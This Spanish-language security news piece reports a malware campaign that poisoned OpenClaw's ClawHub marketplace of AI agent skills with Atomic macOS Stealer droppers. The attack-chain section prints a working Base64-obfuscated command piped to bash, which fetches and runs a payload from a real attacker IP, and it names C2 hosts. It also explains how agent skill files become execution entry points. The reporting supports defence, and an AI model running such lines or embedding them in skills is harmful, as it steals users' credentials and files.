OpenClaw, una plataforma de agentes de IA de código abierto en rápido crecimiento, enfrenta graves riesgos en su cadena de suministro, ya que los atacantes envenenan su mercado de plugins ClawHub con "habilidades" maliciosas. Las firmas de seguridad SlowMist y Koi Security han descubierto cientos de extensiones comprometidas que despliegan infostealers como Atomic Stealer. OpenClaw permite a los agentes de IA locales automatizar flujos de trabajo, interactuar con servicios y controlar dispositivos.

OpenClaw, una plataforma de agentes de IA de código abierto en rápido crecimiento, enfrenta graves riesgos en su cadena de suministro ya que los atacantes envenenan su mercado de plugins ClawHub con habilidades maliciosas.

Las firmas de seguridad SlowMist y Koi Security han descubierto cientos de extensiones comprometidas que despliegan infostealers como Atomic Stealer.

OpenClaw permite a los agentes de IA locales automatizar flujos de trabajo, interactuar con servicios y controlar dispositivos a través de "habilidades", extensiones modulares alojadas en ClawHub.

Las habilidades siguen la especificación AgentSkills, principalmente como carpetas SKILL.md que contienen instrucciones ejecutables en lugar de código auditable. Este diseño convierte el Markdown de documentación en puntos de entrada operativos, lo que lo hace propenso al abuso.

El proceso de carga permisivo de ClawHub carece de revisiones rigurosas, reflejando vulnerabilidades en mercados como npm o VS Code. Su popularidad ha aumentado recientemente, atrayendo tanto a desarrolladores como a atacantes.

Koi Security escaneó 2.857 habilidades en ClawHub, identificando 341 maliciosas —una tasa de infección del 12%— en una campaña denominada ClawHavoc. SlowMist consolidó IOCs de más de 400 muestras, señalando 472 habilidades afectadas con infraestructura compartida.

Las habilidades maliciosas se agrupan en torno a herramientas de criptomonedas (como rastreadores de Solana o carteras Phantom), utilidades de YouTube, bots de Polymarket y typosquats como "clawhub1". Se hacen pasar por actualizadores, comprobaciones de seguridad o ayudas financieras para eludir la vigilancia.

Desglose de la cadena de ataque

Los atacantes incrustan payloads de dos etapas en los "prerrequisitos" de SKILL.md. Los usuarios decodifican comandos ofuscados en Base64 como echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC83YnV1MjRseThtMXRuOG00KSI=' | base64 -D | bash, lo que desencadena descargas curl | bash.

Los dropper de primera etapa obtienen scripts desde IPs como 91.92.242.30, que luego descargan binarios de segunda etapa (por ejemplo, x5ki60w1ih838sp7). Estos son Mach-O universales firmados ad-hoc que coinciden con Atomic macOS Stealer (AMOS), el cual copia datos de Escritorio/Documentos, los exfiltra a C2s como socifiapp.com y roba credenciales de Keychain/navegadores, según el análisis de SlowMist.

El análisis dinámico revela diálogos de phishing para contraseñas, archivado ZIP de archivos .txt/.pdf y subidas mediante curl. La reutilización de dominios/IPs (como 91.92.242.30 vinculado al grupo de extorsión Poseidon) indica operaciones organizadas.

Una habilidad popular de "Tendencias de X (Twitter)" oculta puertas traseras en Base64 que imitan salidas de configuración. Al decodificarlas, se obtienen descargas desde 91.92.242.30/q0c7ew2ro8l2cfqp, que enlazan con dyrtvwjfveyxjf23 —un stealer que apunta a carpetas de macOS—. Esto evade escáneres de palabras clave mientras permite intercambios rápidos de payloads.

IOCs

IOCs de dominio

IOCs de URL

IOCs de IP

IOCs de archivos